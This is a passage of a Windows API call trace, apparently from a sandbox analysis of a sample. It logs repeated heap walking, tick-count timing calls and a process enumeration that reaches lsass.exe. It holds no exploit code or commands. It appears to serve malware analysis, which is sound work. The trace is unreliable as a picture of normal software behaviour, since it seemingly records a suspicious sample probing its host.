0xa0c [0192.166] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.166] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.166] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.174] GetTickCount () returned 0x188043c [0192.174] GetCurrentThreadId () returned 0xa0c [0192.174] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.174] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.174] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.182] GetTickCount () returned 0x188043c [0192.182] GetCurrentThreadId () returned 0xa0c [0192.182] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.182] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.182] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.190] GetTickCount () returned 0x188044b [0192.190] GetCurrentThreadId () returned 0xa0c [0192.190] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.190] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.191] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.199] GetTickCount () returned 0x188045b [0192.199] GetCurrentThreadId () returned 0xa0c [0192.199] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.200] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.200] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.208] GetTickCount () returned 0x188045b [0192.208] GetCurrentThreadId () returned 0xa0c [0192.208] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.209] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.209] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.218] GetTickCount () returned 0x188046b [0192.218] GetCurrentThreadId () returned 0xa0c [0192.218] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.219] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.219] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.225] GetTickCount () returned 0x188046b [0192.225] GetCurrentThreadId () returned 0xa0c [0192.225] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.226] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.226] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.233] GetTickCount () returned 0x188047a [0192.233] GetCurrentThreadId () returned 0xa0c [0192.233] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.234] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.234] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.240] GetTickCount () returned 0x188047a [0192.240] GetCurrentThreadId () returned 0xa0c [0192.240] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.240] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.240] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.246] GetTickCount () returned 0x188048a [0192.246] GetCurrentThreadId () returned 0xa0c [0192.246] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.247] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.247] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.253] GetTickCount () returned 0x188048a [0192.253] GetCurrentThreadId () returned 0xa0c [0192.253] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.254] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.254] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.260] GetTickCount () returned 0x188048a [0192.260] GetCurrentThreadId () returned 0xa0c [0192.260] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.260] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.260] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.267] GetTickCount () returned 0x1880499 [0192.267] GetCurrentThreadId () returned 0xa0c [0192.267] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.267] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.267] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.273] GetTickCount () returned 0x1880499 [0192.273] GetCurrentThreadId () returned 0xa0c [0192.273] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.274] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.274] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.280] GetTickCount () returned 0x18804a9 [0192.280] GetCurrentThreadId () returned 0xa0c [0192.280] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.281] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.281] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.287] GetTickCount () returned 0x18804a9 [0192.287] GetCurrentThreadId () returned 0xa0c [0192.287] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.288] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.288] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.297] GetTickCount () returned 0x18804b9 [0192.297] GetCurrentThreadId () returned 0xa0c [0192.297] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.297] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.297] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.305] GetTickCount () returned 0x18804b9 [0192.305] GetCurrentThreadId () returned 0xa0c [0192.305] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.307] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.307] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.315] GetTickCount () returned 0x18804c8 [0192.315] GetCurrentThreadId () returned 0xa0c [0192.315] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.316] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.316] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.324] GetTickCount () returned 0x18804d8 [0192.324] GetCurrentThreadId () returned 0xa0c [0192.324] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.325] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.325] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.344] GetTickCount () returned 0x18804e7 [0192.344] GetCurrentThreadId () returned 0xa0c [0192.344] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.345] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.345] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.354] GetTickCount () returned 0x18804e7 [0192.354] GetCurrentThreadId () returned 0xa0c [0192.354] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.354] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.354] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.363] GetTickCount () returned 0x18804f7 [0192.363] GetCurrentThreadId () returned 0xa0c [0192.363] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.364] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.364] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.383] GetTickCount () returned 0x1880507 [0192.383] GetCurrentThreadId () returned 0xa0c [0192.383] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.384] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.384] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.392] GetTickCount () returned 0x1880516 [0192.392] GetCurrentThreadId () returned 0xa0c [0192.392] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.393] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.393] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.401] GetTickCount () returned 0x1880516 [0192.401] GetCurrentThreadId () returned 0xa0c [0192.401] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.402] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.402] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.410] GetTickCount () returned 0x1880526 [0192.410] Heap32ListNext (hSnapshot=0x20c, lphl=0x2a7a2c0) returned 1 [0192.411] GetTickCount () returned 0x1880526 [0192.411] GetCurrentThreadId () returned 0xa0c [0192.411] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.411] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.411] Heap32First (lphe=0x2a7a27c, th32ProcessID=0x994, th32HeapID=0x7c0000) returned 1 [0192.419] GetCurrentThreadId () returned 0xa0c [0192.419] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.420] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.420] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.428] GetTickCount () returned 0x1880535 [0192.428] GetCurrentThreadId () returned 0xa0c [0192.428] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.429] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.429] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.437] GetTickCount () returned 0x1880545 [0192.437] GetCurrentThreadId () returned 0xa0c [0192.437] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.438] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.438] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.447] GetTickCount () returned 0x1880545 [0192.447] GetCurrentThreadId () returned 0xa0c [0192.447] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.447] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.447] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.456] GetTickCount () returned 0x1880555 [0192.456] GetCurrentThreadId () returned 0xa0c [0192.456] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.456] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.456] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.465] GetTickCount () returned 0x1880564 [0192.465] GetCurrentThreadId () returned 0xa0c [0192.465] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.465] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.465] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.474] GetTickCount () returned 0x1880564 [0192.474] GetCurrentThreadId () returned 0xa0c [0192.474] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.474] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.474] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.482] GetTickCount () returned 0x1880574 [0192.482] GetCurrentThreadId () returned 0xa0c [0192.483] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.483] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.483] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.492] GetTickCount () returned 0x1880574 [0192.492] GetCurrentThreadId () returned 0xa0c [0192.492] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.492] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.492] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.500] GetTickCount () returned 0x1880583 [0192.500] GetCurrentThreadId () returned 0xa0c [0192.500] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.501] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.501] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.509] GetTickCount () returned 0x1880583 [0192.509] GetCurrentThreadId () returned 0xa0c [0192.509] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.510] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.510] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.519] GetTickCount () returned 0x1880593 [0192.519] GetCurrentThreadId () returned 0xa0c [0192.519] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.520] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.520] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.528] GetTickCount () returned 0x18805a3 [0192.528] GetCurrentThreadId () returned 0xa0c [0192.528] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.529] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.529] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.537] GetTickCount () returned 0x18805a3 [0192.537] GetCurrentThreadId () returned 0xa0c [0192.537] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.538] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.538] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.547] GetTickCount () returned 0x18805b2 [0192.547] GetCurrentThreadId () returned 0xa0c [0192.547] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.547] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.547] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.555] GetTickCount () returned 0x18805b2 [0192.555] GetCurrentThreadId () returned 0xa0c [0192.555] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.556] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.556] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.564] GetTickCount () returned 0x18805c2 [0192.564] GetCurrentThreadId () returned 0xa0c [0192.564] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.565] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.565] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.573] GetTickCount () returned 0x18805d1 [0192.573] GetCurrentThreadId () returned 0xa0c [0192.573] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.574] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.574] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.582] GetTickCount () returned 0x18805d1 [0192.582] GetCurrentThreadId () returned 0xa0c [0192.582] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.583] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.583] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.590] GetTickCount () returned 0x18805e1 [0192.590] GetCurrentThreadId () returned 0xa0c [0192.590] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.591] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.591] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.599] GetTickCount () returned 0x18805e1 [0192.599] GetCurrentThreadId () returned 0xa0c [0192.599] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.599] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.599] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.607] GetTickCount () returned 0x18805f1 [0192.607] GetCurrentThreadId () returned 0xa0c [0192.607] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.608] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.608] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.616] GetTickCount () returned 0x18805f1 [0192.616] GetCurrentThreadId () returned 0xa0c [0192.616] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.616] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.616] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.625] GetTickCount () returned 0x1880600 [0192.625] GetCurrentThreadId () returned 0xa0c [0192.625] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.626] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.626] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.634] GetTickCount () returned 0x1880600 [0192.634] GetCurrentThreadId () returned 0xa0c [0192.634] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.635] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.635] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.643] GetTickCount () returned 0x1880610 [0192.643] GetCurrentThreadId () returned 0xa0c [0192.643] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.643] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.643] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.663] GetTickCount () returned 0x188061f [0192.663] GetCurrentThreadId () returned 0xa0c [0192.663] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.663] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.663] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.671] GetTickCount () returned 0x188062f [0192.672] GetCurrentThreadId () returned 0xa0c [0192.672] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.672] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.672] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.681] GetTickCount () returned 0x188062f [0192.681] GetCurrentThreadId () returned 0xa0c [0192.681] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.681] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.681] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.690] GetTickCount () returned 0x188063f [0192.690] GetCurrentThreadId () returned 0xa0c [0192.690] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.691] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.691] Heap32Next (lphe=0x2a7a27c) returned 1 [0192.700] GetTickCount () returned 0x188064e [0192.700] Heap32ListNext (hSnapshot=0x20c, lphl=0x2a7a2c0) returned 1 [0192.701] GetTickCount () returned 0x188064e [0192.701] GetTickCount () returned 0x188064e [0192.701] Process32First (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0192.702] GetCurrentThreadId () returned 0xa0c [0192.702] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.702] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.702] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0192.703] GetTickCount () returned 0x188064e [0192.703] GetCurrentThreadId () returned 0xa0c [0192.703] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.704] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.704] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0192.705] GetTickCount () returned 0x188064e [0192.705] GetCurrentThreadId () returned 0xa0c [0192.705] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.705] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.705] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0192.706] GetTickCount () returned 0x188064e [0192.706] GetCurrentThreadId () returned 0xa0c [0192.706] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.707] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.707] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0192.708] GetTickCount () returned 0x188064e [0192.708] GetCurrentThreadId () returned 0xa0c [0192.708] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.708] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.708] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0192.709] GetTickCount () returned 0x188064e [0192.709] GetCurrentThreadId () returned 0xa0c [0192.709] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.710] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.710] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0192.711] GetTickCount () returned 0x188064e [0192.711] GetCurrentThreadId () returned 0xa0c [0192.711] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.711] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.711] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0192.712] GetTickCount () returned 0x188064e [0192.712] GetCurrentThreadId () returned 0xa0c [0192.712] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.713] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.713] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0192.714] GetTickCount () returned 0x188065e [0192.714] GetCurrentThreadId () returned 0xa0c 